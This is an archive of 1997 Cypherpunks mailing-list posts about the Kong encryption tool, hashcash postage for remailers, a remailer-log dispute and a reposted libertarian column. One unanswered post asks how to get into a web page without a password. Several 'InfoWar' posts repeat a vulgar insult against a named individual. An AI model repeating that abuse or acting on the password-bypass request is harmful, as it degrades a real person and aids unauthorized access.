>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh@efga.org  
>      http://www.efga.org/            run PGP 5.0 for my public key

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 14 Dec 1997 08:27:52 +0800
To: ptrei@securitydynamics.com (Trei Peter)
Subject: Re: How about a Bay Area meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <199712140019.TAA18808@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Trei, Peter wrote:
| 	Bill wrote:
| 	> The December Bay Area Cypherpunks Meeting will be held 12/13
| at 1pm at
| 	> Printer's Ink on Castro Street in Mountain View.
| 
| It would be nice if the January meeting were held the 17th. This is the
| day following
| the RSA Data Security Conference, and a lot of out-of-towners will be in
| the
| area over that weekend.

	Agreed.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com (James A. Donald)
Date: Sun, 14 Dec 1997 04:35:56 +0800
To: Bill Stewart <cryptography@c2.net
Subject: Re: Kong Re: Please Beta test my communications cryptography  product.
Message-ID: <199712132023.MAA06952@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



    -- 177
At 5:00 PM -0800 12/4/97, James A. Donald wrote:
> > > I have produced a program that, like PGP, provides digital 
> > > signatures and communications encryption. 
> > > http://www.jim.com/jamesd/Kong/Kong.htm
> > >This is the first beta.  Please beta test this product.

At 07:06 PM 12/12/97 -0800, Bill Stewart wrote:
> The web page says that the first beta had some problems, 

Beta 2 is now out.

Please uninstall your old copy, using "Add/Remove programs" in the
control panel, before installing the new copy, as overinstall does not
work.

(If you forgetfully overinstall, a warning comes up, but most people
cheerfully disregard the warning)

>- Signed Message: Delimiter, Message Body, ECC Public Key, ECC Sig.
>	I didn't notice what hash was used for the signatures -- SHA?
>	

SHA:  I failed to document that, will add it to the documentation.

>- Encrypted Message: ECC(SessionKey), RC4(Message Body, SessionKey).
>
>  I'm not sure if there are headers that include the recipient's key,
>   or if there's any special form for an encrypted-and-signed
>  message. I assume there's no multiple-recipient form?

Multiple recipient form works, but the user interface to use it does 
not yet exist which makes it kind of useless.  Coming soon.

>1) Are the Signer's Name and the ECC key included in the 
>	material that's hashed for signature?  Doing that is
>	valuable, but depending on it makes it more difficult if
>	people change addresses.

Yes:  However the name is only hashed in a cryptographically weak
manner, so a third party could change the name in a cleartext message.
However if the message is cleartext there is nothing to stop him from
copying the body and giving it any signature he pleases, so this does
not actually gain the attacker anything.  After all, that is what
cleartext is.

If he changes the name it looks to the user and Kong like a new and
different signature.

>2) It would be nice if the starting and ending delimiters were
>different.
>	This would let you nest messages without needing >s. Can Kong
>	tell a nested opening -- from a closing --digsig ? Are --s
>	escaped, or at least <NL>--digsig?

    --
Yes:  For example this message contains a nested message.

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG 
     J14rDU1EjUofOmSoHg1Ye0GF6/+6wdvxmCwMryE4 
     1jNcIP5kRfVPada+5w8zfIGEodi2Mrz80ZbvXsK1

>3) How are newlines and whitespace in the message body handled for
>signatures?
>	Canonicalized?  Ignored?  Not worried about?  

Not worried about, which is probably a seriously bad idea.  Will fix
in a later release.  In a later release I will canonicalise carriage
returns to Microsoft conventions, but not whitespace.  As this is
alas, a Borg only product, and will remain so for some time, such
canonicalisation will not break existing signed documents.

>	This affects not only reliability of signatures after
>	emailing, but also affects signing binary files.

Signing binary files is not yet supported, and will not be for some
time.

>4) I'd guess, since you're using 240-bit ECC and base-64 encoding,
>	that the first 40 characters of garble in the signature are
>	the key, and the remaining 80 characters are the signature
>	itself?

Yes

>	If so, is there some easy way to use the 40-char string, e.g.
>	type in a copy from the bottom of a business card?

Yes

If Kong says a signature is good, and the public key agrees with a
business card then the guy who wrote the business card is claiming to
be the author of the message.  Actually you do not have to check all
43 characters.  It is sufficient to check the first ten characters, or
any ten characters.

>	Some of the documentation says something about the key being
>	 derived from your passphrase and a randomness file hashed
>	together. How does this affect multiple keys generated by the
>	same user? I assume it means you can't share passphrases
>	between keys.

If two keys have the same passphrase, but a different secret file,
then they will be two completely different keys.

However, the same passphrase, and the same file, means the same key. 
The secret file is merely concatenated with the secret file

>5) Is the format of the signature freeform, or do the newlines and 
>	whitespace have to be in their official locations? 

Minor flexibility.  You can add or remove leading blanks, and use
either lf or cr or both.  It is not totally rigid, but it is pretty
rigid. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     Uy36NbrQf/3FKV77cTtzFrHxsy0dcx9l6Svy/Fl5
     xP+I6vLpjTgacrHEqXoD3gv+HF9Tx4Zl+0yDGhQF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Date: Sun, 14 Dec 1997 12:01:11 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: profit from spammers (Re: hashcash spam prevention & firewalls)
In-Reply-To: <199712132332.XAA03725@server.eternity.org>
Message-ID: <Pine.OSF.3.96.971213185600.21501B-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



[I see I overlooked a major feature of hashcash in my idea for exempting
remailers from it...sp'cifically, I didn't know you could prepackage hashcash. 
Needless to say, I don't send my good posts from this address :) ]

> Randall Farmer masquerading as Joe <rfarmer@HiWAAY.net> writes:

Yep, state-of-the-art MITM techniques in action. :)

...

> I think Phelix was probably viewing it from the point of view [o]f "what if
> all ISPs turned off non subscriber mail forwarding at their SMTP hubs"?

Nonetheless, it'd still hold that hashcash would be harder to get around than
simple filtering...also, like you said, it's in the interest of the ISPs to use
hashcash, whereas stopping outgoing spam doesn't do much for them.

...  
> (Ident is a dumb method of identifying who is on the other end of a socket on
> a unix box.  It opens up a socket to the ident port on the originating
> machine, and asks who is on socket x port y?  The machine can determine this
> from local OS tables, and sends the info back.  This works if the user does
> not have root on the machine.  Fortunately this snoopy bastardised protocol
> is not doing so well these days because there are more and more people who
> have root on their own machines, and because there are so many windows
> machines which don't know what a protected port number is. This is good
> because Ident sucks.)
          ^^^^^^^^^^^ 

Good description, but you only needed those last two words. Ident really is a
pain, especially for those of us who can't avoid it (It makes the case for
crypto that much stronger, though :). 

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Yuri Freneites" <yafq@telcel.net.ve>
Date: Sun, 14 Dec 1997 10:15:28 +0800
To: <cypherpunks@toad.com>
Subject: Q
Message-ID: <19971214020107.AAA561@telcel.telcel.net.ve>
MIME-Version: 1.0
Content-Type: text/plain



some body out there can tell me how can i get in boy boy web page without
password
thank...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <toto@sk.sympatico.ca>
Date: Sun, 14 Dec 1997 14:52:58 +0800
To: cypherpunks@toad.com
Subject: InfoWar EndGame (Part III of The True Story of the InterNet)
Message-ID: <199712140646.AAA24002@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>The True Story of the Internet Part II</TITLE>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Microsoft Word 2.04z">
</HEAD>
<BODY>
<HR>
<HR>
<P>
<CENTER><U><FONT COLOR=#0000FF>The True Story of the InterNet
<BR>
Part III<BR>
</FONT></U></CENTER>
<P>
<CENTER><B><FONT SIZE=7 COLOR=#800000>Info</FONT><FONT SIZE=7 COLOR=#FF0000>War</FONT></B></CENTER>
<P>
<CENTER><U><B><FONT SIZE=4>Final Frontier of the Digital Revolution</FONT></B></U></CENTER>
<P>
<CENTER><U><B><FONT SIZE=2 COLOR=#800000>Behind the ElectroMagnetic
Curtain<BR>
</FONT></B></U></CENTER>
<P>
<CENTER><FONT SIZE=2>by <I><B>TruthMonger &lt;tm@dev.null&gt;
<BR>
<BR>
</B></I></FONT></CENTER>
<P>
<FONT SIZE=2>Copyright 1997 Pearl Publishing</FONT>
<HR>
<HR>
<P>
<CENTER><U><B>InfoWar Table of Contents<BR>
</B></U></CENTER>
<UL>
<LI>Epilogue EG 
<LI>Nobody Calls From Vegas Just To Say Hello
<LI>End Game / InfoWarez
</UL>
<HR>
<P>
<CENTER><A NAME="Epilogue"><B>Epilogue EG</B></A></CENTER>
<HR>
<P>
>From - Tue Dec 09 14:01:35 1997<BR>
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<BR>
<HR>
<HR>
<P>
<CENTER><A NAME="NobodyCalls"><U><I><B><FONT COLOR=#000080>Nobody
Calls From Vegas Just To Say Hello</FONT></B></I></U> <BR>
</A></CENTER>
<P>
FROM MOUNTAIN MEDIA<BR>
FOR IMMEDIATE RELEASE DATED DEC. 10, 1997<BR>
THE LIBERTARIAN, By Vin Suprynowicz<BR>
How can we reduce voter turnout?<BR>
<BR>
Toby, somewhere in the Great Northwest, writes:<BR>
<BR>
&quot;I am doing a research paper for my Sr. High School Government
term<BR>
paper. My assignment is 'How to increase voter turnout.' Are there
any<BR>
books or information that I could use to reference, and if you
have time<BR>
could you give me some of your ideas?&quot;<BR>
<BR>
I replied:<BR>
<BR>
# # #<BR>
<BR>
Greetings, Toby --<BR>
<BR>
The book &quot;Votescam,&quot; widely available in paperback,
is worth a look.<BR>
<BR>
But I'm not sure about the premise of your paper, in the first
place.<BR>
<BR>
Before we can answer the question, &quot;How to increase voter
turnout,&quot; it<BR>
seems to me we need to ask &quot;WHO wants to increase voter turnout,
and why?&quot;<BR>
<BR>
Whether the next election sees 70 percent of registered voters
show up at<BR>
the polls, or 50 percent, or 30 percent, the result will be the
same. A<BR>
member of the incumbent Republicrat Party will be elected. He
or she will<BR>
go to the capital, raise taxes, and increase government meddling
in our<BR>
lives. Freedom will be further eroded. The only folks granted
&quot;loopholes&quot;<BR>
and &quot;exemptions&quot; from this ever-tightening vise are
corporate, union, or<BR>
other special interests who have ponied up tens of thousands of
dollars<BR>
worth of bribes -- euphemistically called &quot;campaign contributions&quot;
-- to<BR>
buy &quot;access.&quot;<BR>
<BR>
If the folks running this protection racket thought that higher
voter<BR>
turnouts would upset their applecart, dumping them all out of
office and<BR>
replacing them with Libertarians (or anyone who might REALLY decrease
the<BR>
size and power of government), they would be doing everything
possible to<BR>
PREVENT higher voter turnout, starting with re-enactment of the
poll tax.<BR>
<BR>
Instead, we see our state and local registrars -- FULL-TIME GOVERNMENT
<BR>
EMPLOYEES -- urging HIGHER voter turnout, and making it so easy
to register<BR>
and vote that you can now actually do both by mail.<BR>
<BR>
Why?<BR>
<BR>
To discover their real motivation, look at the recent special
<BR>
presidential election in Bosnia. Because voter turnout was under
50<BR>
percent, the United Nations held that vote was INVALID and had
to be<BR>
redone, figuring terrorist gunmen had frightened too many folks
away from<BR>
the polls.<BR>
<BR>
The risk to governments now in power is not HIGH voter turnout
-- their<BR>
control over the courtesan press, and restrictions on the ability
of third<BR>
parties to get on the ballot or into televised debates, take care
of that.<BR>
<BR>
Instead, their fear is that turnout among wised-up victims unwilling
to<BR>
continue endorsing their schemes will fall so low that they will
no longer<BR>
be able to claim any credible &quot;mandate from the people&quot;
to continue<BR>
building their metastasizing police state.<BR>
<BR>
So, if we want to see anything change, why isn't the title of
your paper<BR>
&quot;How to REDUCE voter turnout?&quot;<BR>
<BR>
&quot;That's outrageous,&quot; you'll likely be told. &quot;Voting
is how we keep the<BR>
democratic process strong.&quot;<BR>
<BR>
Precisely. And the Founders never meant for us to be exclusively
or even<BR>
mostly a democracy, or they'd never have let five Supreme Court
justices<BR>
overrule 218 congressmen. All this vote-counting has actually
gotten<BR>
people believing it's OK to throw away the Second Amendment and
restrict<BR>
the right of the people to keep and bear arms (for example) ...
so long as<BR>
you can get a majority to &quot;vote&quot; for it.<BR>
<BR>
Our current problem in this country is that there's TOO MUCH voting
going<BR>
on, on stuff never meant to be subject to government intervention,
in the<BR>
first place.<BR>
<BR>
But, if you insist, here's a way to &quot;increase voter turnout&quot;:
<BR>
<BR>
Place every state, local, and national ordinance which currently
outlaws,<BR>
taxes, or regulates any drug or medical device or practice, or
any firearm,<BR>
explosive, or militarily useful device up to and including tanks
and<BR>
shoulder-launched missiles, on the ballot. For good measure, also
place on<BR>
the ballot any existing law which authorizes any tax or fee.<BR>
<BR>
Then announce that, under the Sixth Amendment guarantee of a jury
trial,<BR>
it follows that no person may be punished for violating any of
these laws<BR>
unless he or she could reasonably expect to be convicted by a
UNANIMOUS<BR>
vote of a RANDOMLY-SELECTED jury of 12.<BR>
<BR>
Since one juror in 12 represents 8.33 percent of the populace,
obviously<BR>
no law which has only 91 percent popular support can be allowed
to stand<BR>
under the clear intent of the Sixth Amendment; only laws with
92 percent<BR>
popular support can be allowed to stand.<BR>
<BR>
Therefore, any law which is OPPOSED BY 9 PERCENT (OR MORE) OF
VOTERS IN<BR>
THE NEXT ELECTION will be stricken from the books. No more prosecutions
<BR>
under that law will EVER be allowed, even if the Legislature tries
to<BR>
re-instate it.<BR>
<BR>
If the vote goes 91-9 to KEEP the drug laws, the drug laws are
REPEALED.<BR>
If the vote goes 91-9 to KEEP the gun laws, the gun laws are REPEALED.
If<BR>
the vote goes 91-9 to KEEP the income tax, the income tax is REPEALED.
<BR>
<BR>
Giving folks the chance to finally CHANGE something, I think that
would<BR>
draw a pretty good voter turnout. Don't you?<BR>
<BR>
Vin Suprynowicz is the assistant editorial page editor of the
Las Vegas<BR>
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com.
<BR>
<BR>
***<BR>
<BR>
<BR>
Vin Suprynowicz, vin@lvrj.com<BR>
<BR>
&quot;If ye love wealth greater than liberty, the tranquility
of servitude<BR>
greater than the animating contest for freedom, go home from us
in peace.<BR>
We seek not your counsel, nor your arms. Crouch down and lick
the hand that<BR>
feeds you. May your chains set lightly upon you; and may posterity
forget<BR>
that ye were our countrymen.&quot; -- Samuel Adams<BR>
<HR>
<P>
<CENTER>End Game / InfoWarez</CENTER>
<P>
#1 Matt Blaze sucks donkey dicks
<P>
#2 Matt Blaze sucks donkey dicks
<P>
#3 Matt Blaze sucks donkey dicks
<HR>
<P>
<B><FONT SIZE=2>Copyright &quot;Human Gus-Peter &lt;ualdv8@sk.sympatico.ca&gt;</FONT></B>
<HR>
<P>
<CENTER>&quot;The Xenix Chainsaw Massacre&quot;</CENTER>
<P>
<CENTER>&quot;WebWorld &amp; the Mythical Circle of Eunuchs&quot;</CENTER>
<P>
<CENTER>&quot;InfoWar (Part III of 'The True Story of the InterNet')</CENTER>
<P>
<CENTER>Soviet Union Sickle of Eunuchs Secret WebSite</CENTER>
<HR>
</BODY>
</HTML>



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <toto@sk.sympatico.ca>
Date: Sun, 14 Dec 1997 14:53:32 +0800
To: cypherpunks@toad.com
Subject: InfoWar EndGame / TEXT
Message-ID: <199712140647.AAA24092@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue EG
   * Nobody Calls From Vegas Just To Say Hello
   * End Game / InfoWarez

----------------------------------------------------------------------------

                                 Epilogue EG
----------------------------------------------------------------------------

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                 Nobody Calls From Vegas Just To Say Hello

FROM MOUNTAIN MEDIA
FOR IMMEDIATE RELEASE DATED DEC. 10, 1997
THE LIBERTARIAN, By Vin Suprynowicz
How can we reduce voter turnout?

Toby, somewhere in the Great Northwest, writes:

"I am doing a research paper for my Sr. High School Government term
paper. My assignment is 'How to increase voter turnout.' Are there any
books or information that I could use to reference, and if you have time
could you give me some of your ideas?"

I replied:

# # #

Greetings, Toby --

The book "Votescam," widely available in paperback, is worth a look.

But I'm not sure about the premise of your paper, in the first place.

Before we can answer the question, "How to increase voter turnout," it
seems to me we need to ask "WHO wants to increase voter turnout, and why?"

Whether the next election sees 70 percent of registered voters show up at
the polls, or 50 percent, or 30 percent, the result will be the same. A
member of the incumbent Republicrat Party will be elected. He or she will
go to the capital, raise taxes, and increase government meddling in our
lives. Freedom will be further eroded. The only folks granted "loopholes"
and "exemptions" from this ever-tightening vise are corporate, union, or
other special interests who have ponied up tens of thousands of dollars
worth of bribes -- euphemistically called "campaign contributions" -- to
buy "access."

If the folks running this protection racket thought that higher voter
turnouts would upset their applecart, dumping them all out of office and
replacing them with Libertarians (or anyone who might REALLY decrease the
size and power of government), they would be doing everything possible to
PREVENT higher voter turnout, starting with re-enactment of the poll tax.

Instead, we see our state and local registrars -- FULL-TIME GOVERNMENT
EMPLOYEES -- urging HIGHER voter turnout, and making it so easy to register
and vote that you can now actually do both by mail.

Why?

To discover their real motivation, look at the recent special
presidential election in Bosnia. Because voter turnout was under 50
percent, the United Nations held that vote was INVALID and had to be
redone, figuring terrorist gunmen had frightened too many folks away from
the polls.

The risk to governments now in power is not HIGH voter turnout -- their
control over the courtesan press, and restrictions on the ability of third
parties to get on the ballot or into televised debates, take care of that.

Instead, their fear is that turnout among wised-up victims unwilling to
continue endorsing their schemes will fall so low that they will no longer
be able to claim any credible "mandate from the people" to continue
building their metastasizing police state.

So, if we want to see anything change, why isn't the title of your paper
"How to REDUCE voter turnout?"

"That's outrageous," you'll likely be told. "Voting is how we keep the
democratic process strong."

Precisely. And the Founders never meant for us to be exclusively or even
mostly a democracy, or they'd never have let five Supreme Court justices
overrule 218 congressmen. All this vote-counting has actually gotten
people believing it's OK to throw away the Second Amendment and restrict
the right of the people to keep and bear arms (for example) ... so long as
you can get a majority to "vote" for it.

Our current problem in this country is that there's TOO MUCH voting going
on, on stuff never meant to be subject to government intervention, in the
first place.

But, if you insist, here's a way to "increase voter turnout":

Place every state, local, and national ordinance which currently outlaws,
taxes, or regulates any drug or medical device or practice, or any firearm,
explosive, or militarily useful device up to and including tanks and
shoulder-launched missiles, on the ballot. For good measure, also place on
the ballot any existing law which authorizes any tax or fee.

Then announce that, under the Sixth Amendment guarantee of a jury trial,
it follows that no person may be punished for violating any of these laws
unless he or she could reasonably expect to be convicted by a UNANIMOUS
vote of a RANDOMLY-SELECTED jury of 12.

Since one juror in 12 represents 8.33 percent of the populace, obviously
no law which has only 91 percent popular support can be allowed to stand
under the clear intent of the Sixth Amendment; only laws with 92 percent
popular support can be allowed to stand.

Therefore, any law which is OPPOSED BY 9 PERCENT (OR MORE) OF VOTERS IN
THE NEXT ELECTION will be stricken from the books. No more prosecutions
under that law will EVER be allowed, even if the Legislature tries to
re-instate it.

If the vote goes 91-9 to KEEP the drug laws, the drug laws are REPEALED.
If the vote goes 91-9 to KEEP the gun laws, the gun laws are REPEALED. If
the vote goes 91-9 to KEEP the income tax, the income tax is REPEALED.

Giving folks the chance to finally CHANGE something, I think that would
draw a pretty good voter turnout. Don't you?

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com.

***

Vin Suprynowicz, vin@lvrj.com

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen." -- Samuel Adams
----------------------------------------------------------------------------

                            End Game / InfoWarez

#1 Matt Blaze sucks donkey dicks

#2 Matt Blaze sucks donkey dicks

#3 Matt Blaze sucks donkey dicks
----------------------------------------------------------------------------

Copyright "Human Gus-Peter <ualdv8@sk.sympatico.ca>
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 14 Dec 1997 06:15:37 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <66ssjm$bei@examiner.concentric.net>
Message-ID: <199712132204.XAA04453@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes

> :> That must mean that I'm harassing you as well, right?
> :
> :That is exactly my objection to the tactics of Gary Burnore and the DataBasix
> :gang.
>  
> You've posted no evidence tactics were EVER used.  Naturally, you expect
> everyone to believe you and naturally, a few like sam will.

I don't expect anybody to "believe me".  That's why I have posted a URL to a 
post by Jeff Burchell in which he outlines your tactics, such as your demand
that he turn over his logs to you, which would have had the effect of 
compromising the remailer's security and eroding confidence in it.  Is that
really what you wanted?  For remailer users to distrust the remailer net and
stop using it?  You have still not explained why you wanted the remailer logs 
and what you intended to do with the names and addresses contained therein.

> : He calls
> :the kind of discussion that the three of us are engaging in "harassment", and
> :has even, upon occasion, accused posts critical of him of constituting
> :"libel".
>  
> You have from time to time constituted libel. 

Would you care to prove that?  Saying something that Gary Burnore or Belinda
Bryan don't like is not "libel".  To be "libel" a statement must be both
DEFAMATORY as well as FALSE.  While being reminded of your own actions
several months ago might prove to be embarassing, it's not libel.

What was really laughable was when your fellow DataBasix staff member Billy
McClatchie accused another anonymous usenet poster of "slander"!  He must have 
gone to the same law school as Belinda. <g>

> That's not abuse.  Your
> harassment is only that, harassment.  The ABUSE is UCE-Baiting.  The fact that
> some remailer operators are now taking measures to prevent UCE-Baiting is
> evidence not only that the problem existed, but that something COULD be done
> about it.

That's not what Jeff's post said.  It said that your pretext for demanding his
user logs was an "unflattering post", not all this nonsense about "spam baiting"
that you invented later.

My "harassment"?  You keep whining about my so-called "harassment", but you
have yet to prove ANY of it.

> :Actually, Gary may unwittingly prove to be a "friend" of remailers, yet.
>  
>  
> Unwittingly?  I was never NOT a friend of remailers.  YOU on the otherhand may
> simply be unwittingly trying to shut them down.  I happen to believe you're
> doing it on purpose, but maybe, just maybe, you have no clue what you're
> doing.

What would people have to be smoking (and inhaling) to believe that nonsense?
Anyone who demands that a remailer operator violate the privacy of all of his
users to placate one chronic whiner is no "friend" to remailers.  Such 
"friends" they can do without.  What do you think it would have done for the 
reputation of remailer security if Jeff had actually kept logs and had turned 
them over to individuals such as you and Belinda?

Do you really think it would be more "pro remailer" to just pretend that your
attempt to attempt to obtain sendmail logs from the Huge Cajones Remailer 
didn't occur?

Of the two of us, I'm the one that admits to actually USING remailers.  For me
to try to shut them down would make no sense.

> If you don't like being called the anon asshole, stop being an asshole.

If you don't like being called anti-privacy, stop being anti-privacy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <toto@sk.sympatico.ca>
Date: Sun, 14 Dec 1997 15:11:18 +0800
To: cypherpunks@toad.com
Subject: #2 Matt Blaze sucks donkey dicks
Message-ID: <199712140652.AAA24489@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



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-----END PGP MESSAGE, PART 02/02-----



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Dec 1997 08:35:03 +0800
To: pooh@efga.org
Subject: Re: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971213110625.032e7afc@mail.atl.bellsouth.net>
Message-ID: <199712132319.XAA03696@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Robert Costner <pooh@efga.org> writes:
> At 10:55 AM 12/13/97 GMT, Adam Back wrote:
> >Remailers require a different strategy.  With remailers you are trying
> >to discourage spammers from using the remailer, with email you are
> >also trying to discourage spammers, but you have to do it in ways
> >which is easy for neophytes to cope with.
> 
> I'm unsure that this is what we are trying to do at all.  I'm perfectly
> willing to assume that a remailer gets it's mail into it.  The problem is
> now that the remailer has to deliver the mail.  Under this plan, to deliver
> mail there must be hashcash for the delivery to the point beyond the
> remailer.

Simplest thing to do for non-replyable remailers is to insist that the
originator include hashcash for each remailer hop.  Then remailers can
just refuse to remail anything unless there is a valid hashcash
postage token included.  For example:

	Hashcash-Postage: 10208remailer@efga.orgb35b746c387ff6bc

Is a 20 bit hash collision on remailer@efga.org.  (Antonomasia sent me
a patch sometime back for hashcash which changed the hashcash syntax
to:

	Hashcash-Postage: 10208:remailer@efga.org:b35b746c387ff6bc 

which is easier to parse.  (He also simplified the command line
interface... mine is a bit scruffy)).

To send through remailer@efga.org and remailer@replay.com, you would
include a hashcash postage stamp for each remailer.

So you add to the remail instructions for remailer@efga.org a hashcash
postage stamp:

	::
	Request-Remailing-To: remailer@replay.com
	Hashcash-Postage: 10208remailer@efga.orgb35b746c387ff6bc

and to the nested encrypted remailing instructions for replay you add
a hashcash stamp for it too:

	::
	Request-Remailing-To: replay.com
	Hashcash-Postage: 10208replay.com05e4fee159c1cfc9

> HashCash has often been suggested as a method for throttling spam that
> would be sent to remailers.  This is not what I was responding to.  I was
> responding to a suggestion that ISPs start requiring hashcash.  I'm
> honestly unclear as to whether the remailer must generate the hashcash for
> the future SMTP's or if the suggestion is that the originator is generating
> all of the hashcash.  

The originator must generate the hashcash for all hops.

> Since remailers mangle the messages and regenerate them, I am unsure
> if originator generated hashcash is to be made for the destination
> mail port, or if the remailer must do this.

The hashcash proposal was originally focussed on remailers, and for
this purpose it is suggested that the originator generate all postage.

> If there is in fact a requirement that the sender generate the hashcash,
> then I am not sure this will work.  A nym reply block possibly does not
> lead to an exit address, but rather to another reply block.  In fact, this
> should always be the case.  

I am not sure I understand the comment above.  Why should a reply
block always point to another reply block?

It provides pretty good security to have a newnym address which when
mail is sent to it, the newnym server looksup that nyms reply block,
and mails the message with that reply block prepended to the
designated first hop remailer.  The reply block chain can have several
hops, and can even end up in a newsgroup via a mail2news gateway, or
typeI remailer.

To point the whole reply block back to another newnym address adds
additional protection but I would have thought most people use only
one reply block.

> There is no way for the sender of the email to know this route,

A good point.

You have to restructure the payment to cope with this.  Here are a few
ideas:

- One way to do it is to require the nym owner to pre-pay hashcash
postage for mails he receives.  When the postage runs out, the
delivery ceases.  However this provides a denial of service attack
against the newnym user -- just have more CPU than him and you can
prevent him getting any real replies by spamming him.

- Another is to require postage only for the entry remailer.  This
however begs the question of what is a remailer.  There are problems
with assuming there is some official list of "remailers".  For example
if I am a spammer and I want to spam I will call myself a remailer,
and spam via the other remailers from this vantage point apparently
within the fold, it will be difficult to detect me.  I might even
remail the odd message to keep up appearances.

- A distributed hashcash double spend database could allow remailers
to accept hashcash which wasn't directed to them specifically, but
rather, which was directed to any remailer.  Remailers would propogate
hashcash database updates.  This preserves anonymity because hashcash
says nothing about the person who minted the hashcash stamp.  However,
interestingly, it would be necessary for the remailers to anonymously
remail database updates because revealing the remailer which received
the hashcash token would allow the newnym reply blocks to be traced.
Disruptive remailers could remove all of the hashcash tokens as the
sender would be forced to send them all to be readable by the first
remailer, not knowing the identity of the rest of the remailers.  Not
a big problem I think because remailers which do this can be weeded
out statistically, and will suffer in the remailer ping league tables
for such behaviour.  They can already disrupt pretty well if inclined
-- just discard messages.

- Or more simply, but more expensively for the sender, include a
couple of hashcash tokens for all of the remailers (there being only
20 or so).

> Not only with nyms, but with regular email addresses multiple hops may be
> required to deliver email.  For instance, the address "rcostner@cpsr.org"
> will deliver email to me.  This address forwards mail to "pooh@efga.org".
> The efga domain cannot be POP'ed into, so this is then remailed to wherever
> I'm POP'ing into this month.  Since the original sender cannot know this,
> and since ALL email to me requires a minimum of two mail gateways to get to
> me it seems that this hashcash plan has some problems.

This an interesting problem that I have not seen raised before.  One
way to get around it would be to allow mail from rcostner@cpsr.org to
arrive at pooh@efga.org without hashcash, and for mail from
pooh@efga.org to arrive at your pop this month without hashcash also.
You would allow via a token which you would not make generally
available.  That is you would say set up the .forward file not to send
to pooh@efga.org, but:

	Robert Costner c387ff6bcb35b746 <pooh@efga.org>

Then instruct the ISP side hashcash based filtering agent at efga.org,
to allow this token through.  Similarly for the second hop from
efga.org to this months POP. 

> Further, I highly dislike the notion of maintaining system level databases
> of who is communicated with.  As in a quote from Adam Back's web page
> 
>      To solve this problem subscribers should put the mailing list
>      address in a postage-free recipients list. 
> 
> Traditional "wire tapping" would require that a communications port be
> monitored to find out who communications are being made with.  Under the
> "postage free list" plan, this information sits in a file waiting to be
> collected with no difficulty at all.  Implemented on the SMTP level, we
> have a way of testing for who a person communicates with.  After a HELO, we
> spoof in a MAIL FROM:, then look to see if we get a "559 HashCash Required"
> error.

This is a major danger I agree.  Bill Stewart suggested hashing the
database entries, which complicates things for the attacker, but not
as much as we would like.

I am 100% with you on the dangers of supeonaed postage free lists.

How about this alternative which achieves the same functionality and
removes the juicy supeona target:

Turn on hashash database for all mails.  That means hashcash gets put
in the database to prevent double spending.  (If we don't do this
spammers will club together and do one mega-spam reusing the same
hashcash they generated with their spam fest motivated CPU farm and
hit you with spam from many addresses, or all forged as from the same
address or whatever).

So now when you reply to a message, on it's way out via the mail hub,
you remove that hashcash token from the double spending database.
This means that the sender can cache sent hashcash tokens, and re-use
them when after he gets a reply.

Neat.

> I've never been impressed with the hashcash method of thwarting
> spam.  I'm just not really sure that a technical solution to spam
